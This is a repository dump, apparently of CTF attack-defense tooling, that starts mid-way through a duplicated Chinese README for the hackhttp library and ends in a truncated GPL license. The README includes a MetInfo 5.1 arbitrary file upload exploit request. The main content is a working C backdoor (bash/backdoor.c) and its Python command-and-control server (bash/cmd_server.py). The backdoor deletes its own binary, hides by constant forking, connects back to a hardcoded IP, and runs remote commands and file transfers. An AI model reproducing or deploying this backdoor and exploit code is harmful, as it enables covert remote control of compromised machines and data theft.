------WebKitFormBoundaryE1toBNeESf6p0uXQ 270 | Content-Disposition: form-data; name="filea"; filename="test.php" 271 | Content-Type: application/x-php 272 | 273 | 274 | ------WebKitFormBoundaryE1toBNeESf6p0uXQ-- 275 | ''' 276 | hh = hackhttp.hackhttp() 277 | code, head, body, redirect, log = hh.http(url, raw=raw) 278 | 279 | ``` 280 | 281 | #### HTTP 连接池
282 | 283 | 创建拥有 500 个连接的连接池: 284 | 285 | ``` 286 | >>> import hackhttp 287 | >>> hh = hackhttp.hackhttp(hackhttp.httpconpool(500)) 288 | ``` 289 | hackhttp 会选择空闲状态的连接,发送 HTTP 报文,节省建立连接的时间,连接池中默认连接数为 10. 290 | 291 | #### 自定义 Cookie 292 | 293 | 在创建 hackhttp 对象时指定 `cookie_str` 参数: 294 | 295 | ``` 296 | >>> import hackhttp 297 | >>> hh=hackhttp.hackhttp(cookie_str="a=b;") 298 | >>> code, head, body, redirect, log = hh.http('https://www.bugscan.net') 299 | >>> print log['request'] 300 | GET / HTTP/1.1 301 | Host: www.bugscan.net 302 | Content-Length: 0 303 | Connection: Keep-Alive 304 | Cookie: a=b 305 | Accept-Encoding: gzip, deflate 306 | User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36 307 | >>> 308 | ``` 309 | 或者将 cookie 直接加入到 HTTP Header 中,具体参考 [自定义请求头](#headers) 310 | 311 | **注意:如果在创建 hackhttp 实例时指定 `cookie_str`,那么在此实例销毁之前,通过该实例创建的 http 请求中都会携带该 cookie** 312 | 313 | #### 爬虫示例:抓取乌云所有漏洞
314 | 315 | 测试用例 `test/` 目录下提供了一个爬虫,使用 hackhttp 爬取乌云所有公开漏洞: 316 | 317 | [Wooyun Spider](test/wooyun_spider.py) 318 | 319 | > 需要自行安装 `thread_pool` 第三方库 320 | 321 | 使用: 322 | 323 | ``` 324 | $ cd test/ 325 | $ python -i wooyun_spider.py 326 | ``` 327 | 328 | 相关链接 329 | --- 330 | 331 | * [版权声明](./GPL-2.0) 332 | * [BugScan 社区官网](https://www.bugscan.net) -------------------------------------------------------------------------------- /hackhttp/README.md: -------------------------------------------------------------------------------- 1 | ``` 2 | _ _ _ _ _ 3 | | |__ __ _ ___| | _| |__ | |_| |_ _ __ 4 | | '_ \ / _` |/ __| |/ / '_ \| __| __| '_ \ 5 | | | | | (_| | (__| <| | | | |_| |_| |_) | 6 | |_| |_|\__,_|\___|_|\_\_| |_|\__|\__| .__/ 7 | |_| 8 | ``` 9 | [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/bugscanteam/hackhttp/master/GPL-2.0) 10 | 11 | 简介 12 | --- 13 | 14 | hackhttp 是四叶草安全旗下 BugscanTeam 打造的一款 Python 语言的 HTTP 第三方库。是分布式漏洞扫描框架 BugScan 中核心库之一。 15 | 16 | hackhttp 致力于帮助安全测试人员快速编写代码,除众多基础功能外,hackhttp 支持直接发送 HTTP 原始报文,开发者可以直接将浏览器或者 Burp Suite 等抓包工具中截获的 HTTP 报文复制后,无需修改报文,可直接使用 hackhttp 进行重放。 17 | 18 | hackhttp 使用连接池技术,在应对大量请求时自动对连接进行复用,节省建立连接时间与服务器资源,这种天生的特性,在编写爬虫时尤为显著,测试用例中提供了一个爬取乌云所有漏洞的爬虫。 19 | 20 | 安装 21 | --- 22 | 23 | ### 使用 pip 安装 24 | 25 | ``` 26 | $ pip install hackhttp 27 | ``` 28 | 29 | 如果提示找不到源可以手动指定为官方源: 30 | 31 | ``` 32 | $ pip install -i https://pypi.python.org/pypi hackhttp 33 | ``` 34 | 35 | ### 使用源码安装 36 | 37 | 1. 获取源代码 38 | 39 | 你可以通过用 Git 来克隆代码仓库中的最新源代码 40 | 41 | ``` 42 | $ git clone git@github.com:BugScanTeam/hackhttp.git 43 | ``` 44 | 45 | 或者你可以点击 [这里](https://github.com/BugScanTeam/hackhttp/archive/master.zip) 下载最新的源代码 zip 包,并解压 46 | 47 | ``` 48 | $ wget https://github.com/BugScanTeam/hackhttp/archive/master.zip 49 | $ unzip master.zip 50 | ``` 51 | 52 | 2. 手动安装 53 | 54 | ``` 55 | $ cd hackhttp 56 | $ python setup.py install 57 | ``` 58 | 59 | 使用 60 | --- 61 | 62 | ### 快速上手 63 | 64 | ``` 65 | >>> import hackhttp 66 | >>> hh = hackhttp.hackhttp() 67 | >>> url = "https://www.bugscan.net" 68 | >>> code, head, html, redirect_url, log = hh.http(url) 69 | ``` 70 | 71 | ### 返回值说明: 72 | 73 | * **code** 74 | 75 | HTTP 状态码,类型为 int 76 | 77 | * **head** 78 | 79 | HTTP 响应头,类型为 String 80 | 81 | * **html** 82 | 83 | HTTP 响应体,类型为 String 84 | 85 | * **redirect_url** 86 | 87 | 遇到 HTTP 302 后的跳转地址,如果无跳转则为请求的地址,类型为 String 88 | 89 | * **log** 90 | 91 | HTTP 日志信息,类型为 dict 92 | 93 | * url 94 | 95 | 本次请求的第一个 URL 地址 96 | 97 | * request 98 | 99 | HTTP 请求报文 100 | 101 | * response 102 | 103 | HTTP 响应报文 104 | 105 | 106 | ### 详细说明 107 | 108 | * [发送一个 GET 请求](#get) 109 | * [发送表单 POST 请求](#post) 110 | * [发送 HTTP 原始数据包](#raw) 111 | * [自定义请求头](#headers) 112 | * [代理功能使用](#proxy) 113 | * [文件上传](#fileupload) 114 | * [HTTP 连接池](#connectionpool) 115 | * [自定义 Cookie](#cookie) 116 | * [爬虫示例:抓取乌云所有漏洞](#wooyunspider) 117 | 118 | #### 发送一个 GET 请求
119 | 120 | ``` 121 | >>> import hackhttp 122 | >>> hh = hackhttp.hackhttp() 123 | >>> code, head, body, redirect, log = hh.http('https://www.bugscan.net') 124 | >>> code 125 | 200 126 | >>> '' in body 127 | True 128 | ``` 129 | 130 | #### 发送表单 POST 请求
131 | 132 | ``` 133 | >>> import hackhttp 134 | >>> hh = hackhttp.hackhttp() 135 | >>> code, head, body, redirect, log = hh.http('http://httpbin.org/post', post="key1=val1&key2=val2") 136 | >>> code 137 | 200 138 | >>> print body 139 | { 140 | ... 141 | "form": { 142 | "key1": "val1", 143 | "key2": "val2" 144 | }, 145 | ... 146 | } 147 | ``` 148 | 149 | #### 发送 HTTP 原始数据包
150 | 151 | 本例子中演示如何通过 raw 来发送表单 POST 数据,raw 中数据可以从 Burp Suite 中截取数据报文并直接复制。 152 | 153 | ``` 154 | >>> import hackhttp 155 | >>> hh = hackhttp.hackhttp() 156 | >>> raw='''POST /post HTTP/1.1 157 | ... Host: httpbin.org 158 | ... User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:45.0) Gecko/20100101 Firefox/45.0 159 | ... Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 160 | ... Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 161 | ... Accept-Encoding: gzip, deflate 162 | ... Connection: close 163 | ... Content-Type: application/x-www-form-urlencoded 164 | ... Content-Length: 19 165 | ... 166 | ... key1=val1&key2=val2''' 167 | >>> code, head, html, redirect, log = hh.http('http://httpbin.org/post', raw=raw) 168 | >>> code 169 | 200 170 | >>> print html 171 | { 172 | ... 173 | "form": { 174 | "key1": "val1", 175 | "key2": "val2" 176 | }, 177 | ... 178 | } 179 | ``` 180 | 181 | #### 自定义请求头
182 | 183 | 使用字典形式,需要使用将请求头字典传给 headers: 184 | 185 | ``` 186 | >>> import hackhttp 187 | >>> hh = hackhttp.hackhttp() 188 | >>> headers_dict = { 189 | ... 'X-Forwarder-For': 'https://q.bugscan.net', 190 | ... 'Hack-Http': 'Header Dict Val' 191 | ... } 192 | >>> code, head, body, redirect, log = hh.http('https://www.bugscan.net', headers=headers_dict) 193 | >>> 194 | >>> print log['request'] 195 | GET / HTTP/1.1 196 | Host: www.bugscan.net 197 | X-Forwarder-For: https://q.bugscan.net 198 | ... 199 | Hack-Http: Header Dict Val 200 | >>> 201 | ``` 202 | 203 | 使用字符串形式,需要将字符串传给 header: 204 | 205 | ``` 206 | >>> import hackhttp 207 | >>> hh = hackhttp.hackhttp() 208 | >>> 209 | >>> header_str='HH_HEADER_1: hh h1 val\r\nHH_HEADER_2:hh h2 val' 210 | >>> 211 | >>> code, head, body, redirect, log = hh.http('https://www.bugscan.net', header=header_str) 212 | >>> 213 | >>> print log['request'] 214 | GET / HTTP/1.1 215 | Host: www.bugscan.net 216 | ... 217 | HH_HEADER_2: hh h2 val 218 | HH_HEADER_1: hh h1 val 219 | ``` 220 | 221 | **注意:如果同时指定 header 和 headers,将只会使用 header 中的内容** 222 | 223 | #### 代理功能使用
224 | 225 | 目前代理仅支持 HTTP 代理 226 | 227 | ``` 228 | >>> import hackhttp 229 | >>> hh = hackhttp.hackhttp() 230 | >>> proxy_str = ('127.0.0.1', 9119) 231 | >>> code, head, body, redirect, log = hh.http('https://www.bugscan.net', proxy=proxy_str) 232 | ``` 233 | 234 | #### 文件上传
235 | 236 | 文件上传可以直接通过 Burp Suite 来抓包截取上传报文,使用 raw 方式上传。 237 | 238 | MetInfo5.1 任意文件上传漏洞中,使用 hackhttp 上传文件: 239 | 240 | ``` 241 | #!/usr/bin/env python 242 | # coding:utf-8 243 | import hackhttp 244 | 245 | target = "http://127.0.0.1/metinfo5.1/" 246 | url = target + "feedback/uploadfile_save.php?met_file_format=pphphp&met_file_maxsize=9999&lang=metinfo" 247 | 248 | raw = '''POST /feedback/uploadfile_save.php?met_file_format=pphphp&met_file_maxsize=9999&lang=metinfo HTTP/1.1 249 | Host: localhost 250 | Content-Length: 423 251 | Cache-Control: max-age=0 252 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 253 | Origin: null 254 | Upgrade-Insecure-Requests: 1 255 | User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36 256 | Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryE1toBNeESf6p0uXQ 257 | Accept-Encoding: gzip, deflate 258 | Accept-Language: zh-CN,zh;q=0.8 259 | Cookie: PHPSESSID=hfqa37uap92gdaoc2nsco6g0n1 260 | 261 | ------WebKitFormBoundaryE1toBNeESf6p0uXQ 262 | Content-Disposition: form-data; name="fd_para[1][para]" 263 | 264 | filea 265 | ------WebKitFormBoundaryE1toBNeESf6p0uXQ 266 | Content-Disposition: form-data; name="fd_para[1][type]" 267 | 268 | 5 269 | ------WebKitFormBoundaryE1toBNeESf6p0uXQ 270 | Content-Disposition: form-data; name="filea"; filename="test.php" 271 | Content-Type: application/x-php 272 | 273 | 274 | ------WebKitFormBoundaryE1toBNeESf6p0uXQ-- 275 | ''' 276 | hh = hackhttp.hackhttp() 277 | code, head, body, redirect, log = hh.http(url, raw=raw) 278 | 279 | ``` 280 | 281 | #### HTTP 连接池
282 | 283 | 创建拥有 500 个连接的连接池: 284 | 285 | ``` 286 | >>> import hackhttp 287 | >>> hh = hackhttp.hackhttp(hackhttp.httpconpool(500)) 288 | ``` 289 | hackhttp 会选择空闲状态的连接,发送 HTTP 报文,节省建立连接的时间,连接池中默认连接数为 10. 290 | 291 | #### 自定义 Cookie 292 | 293 | 在创建 hackhttp 对象时指定 `cookie_str` 参数: 294 | 295 | ``` 296 | >>> import hackhttp 297 | >>> hh=hackhttp.hackhttp(cookie_str="a=b;") 298 | >>> code, head, body, redirect, log = hh.http('https://www.bugscan.net') 299 | >>> print log['request'] 300 | GET / HTTP/1.1 301 | Host: www.bugscan.net 302 | Content-Length: 0 303 | Connection: Keep-Alive 304 | Cookie: a=b 305 | Accept-Encoding: gzip, deflate 306 | User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36 307 | >>> 308 | ``` 309 | 或者将 cookie 直接加入到 HTTP Header 中,具体参考 [自定义请求头](#headers) 310 | 311 | **注意:如果在创建 hackhttp 实例时指定 `cookie_str`,那么在此实例销毁之前,通过该实例创建的 http 请求中都会携带该 cookie** 312 | 313 | #### 爬虫示例:抓取乌云所有漏洞
314 | 315 | 测试用例 `test/` 目录下提供了一个爬虫,使用 hackhttp 爬取乌云所有公开漏洞: 316 | 317 | [Wooyun Spider](test/wooyun_spider.py) 318 | 319 | > 需要自行安装 `thread_pool` 第三方库 320 | 321 | 使用: 322 | 323 | ``` 324 | $ cd test/ 325 | $ python -i wooyun_spider.py 326 | ``` 327 | 328 | 相关链接 329 | --- 330 | 331 | * [版权声明](./GPL-2.0) 332 | * [BugScan 社区官网](https://www.bugscan.net) -------------------------------------------------------------------------------- /bash/backdoor.c: -------------------------------------------------------------------------------- 1 | /* 2 | * this is a simple model of process hide in linux by fast and unstop fork 3 | */ 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | #ifndef SERVER_IP 19 | #define SERVER_IP "192.168.221.1" //定义服务器IP地址 20 | #endif 21 | 22 | #define SERVER_PORT 4445 //定义服务器端口 23 | #define PATH_MAX 1024 //定义文件路径最大长度 24 | #define BUFSIZE 4096 //定义缓冲区大小 25 | #define CMD_RES_SIZE 4900 //定义单条命令执行结果缓冲区大小 26 | 27 | //get own absolute path dynamiclly 28 | char *getpath() 29 | { 30 | static char buf[PATH_MAX]; 31 | int i; 32 | int rslt = readlink("/proc/self/exe", buf, PATH_MAX); 33 | if (rslt < 0 || rslt >= PATH_MAX) 34 | { 35 | return NULL; 36 | } 37 | buf[rslt] = '\0'; 38 | return buf; 39 | } 40 | 41 | //创建阻塞型socket 42 | int create_socket(char *host_ip, int port) 43 | { 44 | int sockfd; 45 | struct sockaddr_in servaddr; 46 | 47 | if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0 ) { 48 | #ifdef DEBUG 49 | printf("create socket failed!\n"); 50 | #endif 51 | exit(-1); 52 | } 53 | 54 | bzero(&servaddr, sizeof(servaddr)); 55 | servaddr.sin_family = AF_INET; 56 | servaddr.sin_port = htons(port); 57 | servaddr.sin_addr.s_addr=inet_addr(host_ip); 58 | 59 | if (connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) < 0){ 60 | #ifdef DEBUG 61 | printf("connect failed!\n"); 62 | #endif 63 | close(sockfd); 64 | exit(-1); 65 | } 66 | return sockfd; 67 | } 68 | 69 | //从服务器请求命令 70 | int read_cmd(int sockfd, char *result) 71 | { 72 | write(sockfd, "[get cmd]\n", 10); 73 | memset(result, 0, BUFSIZE); 74 | int bytes = recv(sockfd, result, BUFSIZE, 0); 75 | if(bytes == -1) 76 | { 77 | #ifdef DEBUG 78 | printf("read command from server failed\n"); 79 | #endif 80 | exit(-1); 81 | } 82 | return bytes; 83 | } 84 | 85 | /* 86 | * execute a shell command and return result 87 | */ 88 | int executeCMD(const char *cmd, char *result) 89 | { 90 | char buf_ps[1024]; 91 | char ps[1024]={0}; 92 | FILE *pFile; 93 | strcpy(ps, cmd); 94 | memset(result, 0, CMD_RES_SIZE); 95 | if((pFile = popen(ps, "r")) != NULL) 96 | { 97 | int bytes; 98 | int total_bytes = 0; 99 | while(!feof(pFile)) 100 | { 101 | total_bytes = fread(result, 1, CMD_RES_SIZE, pFile); 102 | break; 103 | //bytes = fread(buf_ps, 1, 1024, pFile); 104 | //if (bytes < 0) 105 | //{ 106 | // pclose(pFile); 107 | // return total_bytes; 108 | //} 109 | //memcpy(result + total_bytes, buf_ps, bytes); 110 | //total_bytes += bytes; 111 | //if(total_bytes >= CMD_RES_SIZE - 10) 112 | // break; 113 | } 114 | pclose(pFile); 115 | pFile = NULL; 116 | return total_bytes; 117 | } 118 | else 119 | { 120 | #ifdef DEBUG 121 | printf("popen %s error\n", ps); 122 | exit(-1); 123 | #endif 124 | return 0; 125 | } 126 | } 127 | 128 | /* 129 | *解析并执行从服务器获取到的命令 130 | *支持3中类型的命令:run,put,get 131 | *分别对应远程命令执行、文件上传、文件下载 132 | */ 133 | int parse_cmd(int sockfd, char *cmd, char *result) 134 | { 135 | /*删除掉命令末尾的结束标志*/ 136 | char *cmd_end = strstr(cmd, "[!FINISHED"); 137 | cmd_end[0] = '\0'; 138 | 139 | int index = 0; 140 | int ret = 0; 141 | 142 | 143 | if(strncmp(cmd, "run:", 4) == 0) 144 | /*远程命令执行,格式 run:[空格]commmand*/ 145 | { 146 | index += 4; 147 | while(cmd[index] == ' ') index++; 148 | int line_end = index; 149 | while(cmd[line_end] != '\n' && line_end < strlen(cmd)-1) line_end++; 150 | char cmd_run[BUFSIZE]; 151 | strncpy(cmd_run, cmd+index, line_end - index + 1); 152 | #ifdef DEBUG 153 | printf("run cmd: %s\n", cmd_run); 154 | #endif 155 | ret = executeCMD(cmd_run, result); 156 | } 157 | else if(strncmp(cmd, "put:", 4) == 0) 158 | /*文件上传,格式:put:[空格]服务器本地文件路径[空格]文件存储名*/ 159 | { 160 | index += 4; 161 | while(cmd[index] == ' ') index++; 162 | while(cmd[index] != ' ') index++; 163 | while(cmd[index] == ' ') index++; 164 | int line_end = index; 165 | while(cmd[line_end] != '\n' && line_end < strlen(cmd)-1 && cmd[line_end] != ' ') line_end++; 166 | char filepath[BUFSIZE]; 167 | 168 | /*读取文件存储名*/ 169 | strncpy(filepath, cmd+index, line_end - index); 170 | 171 | /*文件传输准备*/ 172 | write(sockfd, "ready\n", 6); 173 | FILE *fp = fopen(filepath, "wb"); 174 | char buf[BUFSIZE]; 175 | char *end_ptr = NULL; 176 | 177 | /*接收文件*/ 178 | do { 179 | memset(buf, 0, BUFSIZE); 180 | int bytes = recv(sockfd, buf, BUFSIZE, 0); 181 | if(bytes > 0) 182 | { 183 | //文件接收结束标志为[!FINISHED] 184 | end_ptr = strstr(buf, "[!FINISHED]"); 185 | if (end_ptr != NULL) 186 | { 187 | bytes = end_ptr - buf; 188 | } 189 | //将接收的数据写入文件 190 | int wbytes = fwrite(buf, 1, bytes, fp); 191 | if (wbytes != bytes) 192 | { 193 | #ifdef DEBUG 194 | printf("something goes wrong when writing file\n"); 195 | #endif 196 | break; 197 | } 198 | } 199 | else if(bytes == -1) 200 | { 201 | //异常结束,关闭文件后退出程序 202 | fclose(fp); 203 | exit(-1); 204 | } 205 | } while(!end_ptr); 206 | fclose(fp); 207 | write(sockfd, "recv ok\n", 8); 208 | return 0; 209 | } 210 | else if(strncmp(cmd, "get:", 4) == 0) 211 | /*下载文件,格式:get:[空格]受控端文件路径*/ 212 | { 213 | index += 4; 214 | while(cmd[index] == ' ') index++; 215 | int line_end = index; 216 | while(cmd[line_end] != '\n' && line_end < strlen(cmd)-1 && cmd[line_end] != ' ') line_end++; 217 | char filepath[BUFSIZE]; 218 | 219 | //读取文件名 220 | strncpy(filepath, cmd+index, line_end - index); 221 | 222 | //文件下载准备 223 | write(sockfd, "ready\n", 6); 224 | FILE *fp = fopen(filepath, "rb"); 225 | if (!fp) 226 | { 227 | //文件打开失败 228 | write(sockfd, "[ERROR]找不到指定文件或没有权限\n", 20); 229 | exit(-1); 230 | } 231 | 232 | //开始文件传输 233 | char buf[BUFSIZE]; 234 | do { 235 | memset(buf, 0, BUFSIZE); 236 | int bytes = fread(buf, 1, BUFSIZE, fp); 237 | if(bytes > 0) 238 | { 239 | write(sockfd, buf, bytes); 240 | } 241 | else if(bytes == -1) 242 | { 243 | break; 244 | } 245 | } while(!feof(fp)); 246 | fclose(fp); 247 | write(sockfd, "[!FINISHED]\n", 12); 248 | write(sockfd, "send ok\n", 8); 249 | return 0; 250 | } 251 | return ret; 252 | } 253 | 254 | int main() 255 | { 256 | char *self_path = getpath(); 257 | 258 | #ifndef DEBUG 259 | //启动程序后删除可执行文件 260 | remove(self_path); 261 | #endif 262 | int count = -1; 263 | while(1) 264 | { 265 | count += 1; 266 | pid_t pid = fork(); 267 | if (pid < 0) 268 | { 269 | #ifdef DEBUG 270 | printf("there is something wrong\n"); 271 | #endif 272 | } 273 | if (pid > 0) //父进程 274 | { 275 | /*每执行0x1000次fork则连接一次服务器*/ 276 | if (count & 0xfff) 277 | { 278 | exit(0); 279 | } 280 | 281 | /* stop the program if the job isn't done in 2s */ 282 | alarm(2); 283 | 284 | //time_t start = time(NULL); 285 | char cmd[BUFSIZE], result[CMD_RES_SIZE]; 286 | int sockfd = create_socket(SERVER_IP, SERVER_PORT); 287 | int bytes = read_cmd(sockfd, cmd); 288 | if(bytes <= 0) 289 | return 0; 290 | bytes = parse_cmd(sockfd, cmd, result); 291 | if (bytes > 0) 292 | write(sockfd, result, bytes); 293 | close(sockfd); 294 | //time_t end = time(NULL); 295 | //printf("spend time %ds\n", end - start ); 296 | //printf("this is a test\n"); 297 | exit(0); 298 | } 299 | else 300 | { 301 | usleep(500); 302 | #ifdef DEBUG 303 | if(count > 0x5000) 304 | return 0; 305 | #endif 306 | } 307 | } 308 | return 0; 309 | } 310 | -------------------------------------------------------------------------------- /bash/cmd_server.py: -------------------------------------------------------------------------------- 1 | #!coding=utf8 2 | #!/bin/python 3 | 4 | import SocketServer 5 | from SocketServer import StreamRequestHandler as SRH 6 | import time 7 | import threading 8 | import re 9 | import os 10 | import requests 11 | 12 | PATTERN = '[0-9a-z]{8}-[0-9a-z]{4}-[0-9a-z]{4}-[0-9a-z]{4}-[0-9a-z]{12}' 13 | SUBMIT_URL = 'http://127.0.0.1:6666/flag/' 14 | 15 | host = '0.0.0.0' 16 | port = 4445 17 | addr = (host, port) 18 | 19 | connected = {} 20 | debug = False 21 | 22 | 23 | class Servers(SRH): 24 | def submit_flag(self, flag): 25 | try: 26 | res = re.findall(PATTERN,flag) 27 | if len(res)>0: 28 | print "[+]Get flag: "+res[0] 29 | print requests.get(SUBMIT_URL + flag).content 30 | except: 31 | pass 32 | #description: deal with 'put' function 33 | def send_file(self, command): 34 | data = self.request.recv(1024) 35 | if 'ready' in data: 36 | pattern = re.compile(r'put: *([^ ]+) +.*') 37 | m = pattern.match(command) 38 | if m: 39 | local_file = m.group(1) 40 | filedata = open(local_file, 'rb').read() 41 | self.request.send(filedata) 42 | self.request.send("[!FINISHED]\n") 43 | 44 | #description: deal with 'get' function 45 | def recv_file(self, command): 46 | data = self.request.recv(6) 47 | if 'ready' in data: 48 | pattern = re.compile(r'get: *([^ ]+)') 49 | m = pattern.match(command) 50 | if m: 51 | remote_file = m.group(1) 52 | data_dir = os.getcwd() + '/' + self.client_address[0] 53 | if not os.path.exists(data_dir): 54 | os.mkdir(data_dir) 55 | try: 56 | local_file = data_dir + '/' + remote_file[remote_file.rindex('/')+1:] 57 | except Exception as e: 58 | print e 59 | local_file = data_dir + '/' + remote_file 60 | fp = open(local_file, "wb") 61 | while True: 62 | buf = self.request.recv(4096) 63 | if '[!FINISHED]' in buf: 64 | fp.write(buf[:buf.index('[!FINISHED]')]) 65 | break 66 | elif '[ERROR]' in buf: 67 | print buf[buf.index('[ERROR]'):] 68 | break 69 | else: 70 | fp.write(buf) 71 | if 'send ok' in buf: 72 | print 'send ok' 73 | fp.close() 74 | 75 | 76 | def handle(self): 77 | # receive connection from controled machine 78 | rhost = self.client_address[0] 79 | if not connected.has_key(rhost): 80 | print 'got connection from ' + rhost 81 | connected[rhost] = {"cmd_index": 0} 82 | # connected[rhost]['cmds'] = ['get:data.txt'] 83 | host_info = connected[rhost] 84 | print_buf = rhost + " " + str(host_info) + "\n" 85 | if not host_info.has_key('cmds'): 86 | host_info['cmds'] = [] 87 | cmds = host_info['cmds'] 88 | 89 | # start to interact with controled machine 90 | data = self.request.recv(1024) 91 | if '[get cmd]' not in data: 92 | return 93 | 94 | # no command for this ip, stop the connection 95 | if len(cmds) == 0: 96 | return 97 | 98 | # execute command circularly 99 | if host_info['cmd_index'] >= len(cmds): 100 | host_info['cmd_index'] = 0 101 | 102 | # get command which is going to be executed 103 | command = cmds[host_info['cmd_index']] 104 | 105 | # unstop means a command will not be deleted after being executed 106 | if not command.startswith('unstop '): 107 | cmds.remove(command) 108 | host_info['cmds'] = cmds 109 | else: 110 | command = command[7:] 111 | 112 | print_buf += command + "\n" 113 | self.request.send("%s [!FINISHED]" % command) 114 | 115 | # call specific function for put and get command 116 | if command.startswith("put:"): 117 | self.send_file(command) 118 | elif command.startswith("get:"): 119 | self.recv_file(command) 120 | 121 | # update data 122 | host_info['cmd_index'] += 1 123 | connected[rhost] = host_info 124 | try: 125 | cmd_result = self.request.recv(4096) 126 | except: 127 | cmd_result = '' 128 | print '[!]something wrong has occured in th remote machine' 129 | self.submit_flag(cmd_result) 130 | 131 | # print result of command execute 132 | print_buf += cmd_result + "\n" 133 | print print_buf.strip() 134 | 135 | class CMDServer: 136 | 137 | @staticmethod 138 | def help(): 139 | print """ 140 | help(?) print help information 141 | ls print connected ips and cmd information 142 | cmd [index] [cmd] set command for specific ip or index of ip. 143 | [index] when index is 0, the program will apply the 144 | command to all the connected machines. 145 | [cmd] there is three defferent types of cmd. 146 | 1."run:[shell command]" execute shell command 147 | 2."unstop run:[shell command]" execute shell command repeatly 148 | 3."put:[local] [remote]" send a local file to target 149 | machine, "local" and "remote" both stand for file 150 | path, it could be absolute path and relative path 151 | 4."get: [remote]" download remote file from target machine 152 | clear [index] clear all the commands for specific ip we have set 153 | if no index was specified, all commands would be cleared 154 | exit exit the program 155 | """ 156 | 157 | # cmd shell for a single ip 158 | @staticmethod 159 | def subinteract(ip): 160 | while True: 161 | cmd = raw_input('cmd-server %s $ ' % ip) 162 | if not cmd: 163 | continue 164 | if cmd != 'exit': 165 | connected[ip]['cmds'].append('run:' + cmd) 166 | else: 167 | return 168 | 169 | # main interactive function 170 | @staticmethod 171 | def interactive(): 172 | while True: 173 | cmd = raw_input("cmd-server$ ") 174 | def ls(): 175 | global i 176 | global ips 177 | i = 0 178 | ips = [] 179 | for key in connected: 180 | print i+1, key, connected[key] 181 | ips.append(key) 182 | i += 1 183 | 184 | if cmd == "ls": 185 | ls() 186 | elif cmd.startswith("cmd"): 187 | pattern = re.compile(r'cmd (\d+) (.*)') 188 | m = pattern.match(cmd) 189 | if m: 190 | index = int(m.group(1)) 191 | command = m.group(2) 192 | if index == 0: 193 | for ip in ips: 194 | connected[ip]['cmds'].append(command) 195 | elif index <= len(ips): 196 | connected[ips[index-1]]['cmds'].append(command) 197 | else: 198 | print "id num error, you only have "+str(len(ips))+" slaves!" 199 | ls() 200 | continue 201 | pattern = re.compile(r'cmd clear (\d+)') 202 | m = pattern.match(cmd) 203 | if m: 204 | index = int(m.group(1)) 205 | connected[ips[index-1]]['cmds'] = [] 206 | elif cmd.startswith('cmd clear'): 207 | for ip in ips: 208 | connected[ip]['cmds'] = [] 209 | ls() 210 | elif cmd.startswith("interact"): 211 | pattern = re.compile(r'interact +(\d+) *') 212 | m = pattern.match(cmd) 213 | if m: 214 | interact_ip = ips[int(m.group(1))-1] 215 | CMDServer.subinteract(interact_ip) 216 | elif cmd == "exit": 217 | exit() 218 | elif cmd == '?' or cmd == 'help': 219 | CMDServer.help() 220 | else: 221 | print 'help(?)' 222 | @staticmethod 223 | def start(): 224 | threading.Thread(target=CMDServer.interactive).start() 225 | server = SocketServer.ThreadingTCPServer(addr, Servers) 226 | server.serve_forever() 227 | 228 | if __name__ == '__main__': 229 | print "[*]notice: you should ls before input cmd :P" 230 | CMDServer.start() 231 | -------------------------------------------------------------------------------- /hackhttp/GPL-2.0: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc., 5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. By contrast, the GNU General Public 13 | License is intended to guarantee your freedom to share and change free 14 | software--to make sure the software is free for all its users. This 15 | General Public License applies to most of the Free Software 16 | Foundation's software and to any other program whose authors commit to 17 | using it. (Some other Free Software Foundation software is covered by 18 | the GNU Lesser General Public License instead.) You can apply it to 19 | your programs, too. 20 | 21 | When we speak of free software, we are referring to freedom, not 22 | price. Our General Public Licenses are designed to make sure that you 23 | have the freedom to distribute copies of free software (and charge for 24 | this service if you wish), that you receive source code or can get it 25 | if you want it, that you can change the software or use pieces of it 26 | in new free programs; and that you know you can do these things. 27 | 28 | To protect your rights, we need to make restrictions that forbid 29 | anyone to deny you these rights or to ask you to surrender the rights. 30 | These restrictions translate to certain responsibilities for you if you 31 | distribute copies of the software, or if you modify it. 32 | 33 | For example, if you distribute copies of such a program, whether 34 | gratis or for a fee, you must give the recipients all the rights that 35 | you have. You must make sure that they, too, receive or can get the 36 | source code. And you must show them these terms so they know their 37 | rights. 38 | 39 | We protect your rights with two steps: (1) copyright the software, and 40 | (2) offer you this license which gives you legal permission to copy, 41 | distribute and/or modify the software. 42 | 43 | Also, for each author's protection and ours, we want to make certain 44 | that everyone understands that there is no warranty for this free 45 | software. If the software is modified by someone else and passed on, we 46 | want its recipients to know that what they have is not the original, so 47 | that any problems introduced by others will not reflect on the original 48 | authors' reputations. 49 | 50 | Finally, any free program is threatened constantly by software 51 | patents. We wish to avoid the danger that redistributors of a free 52 | program will individually obtain patent licenses, in effect making the 53 | program proprietary. To prevent this, we have made it clear that any 54 | patent must be licensed for everyone's free use or not licensed at all. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | GNU GENERAL PUBLIC LICENSE 60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND 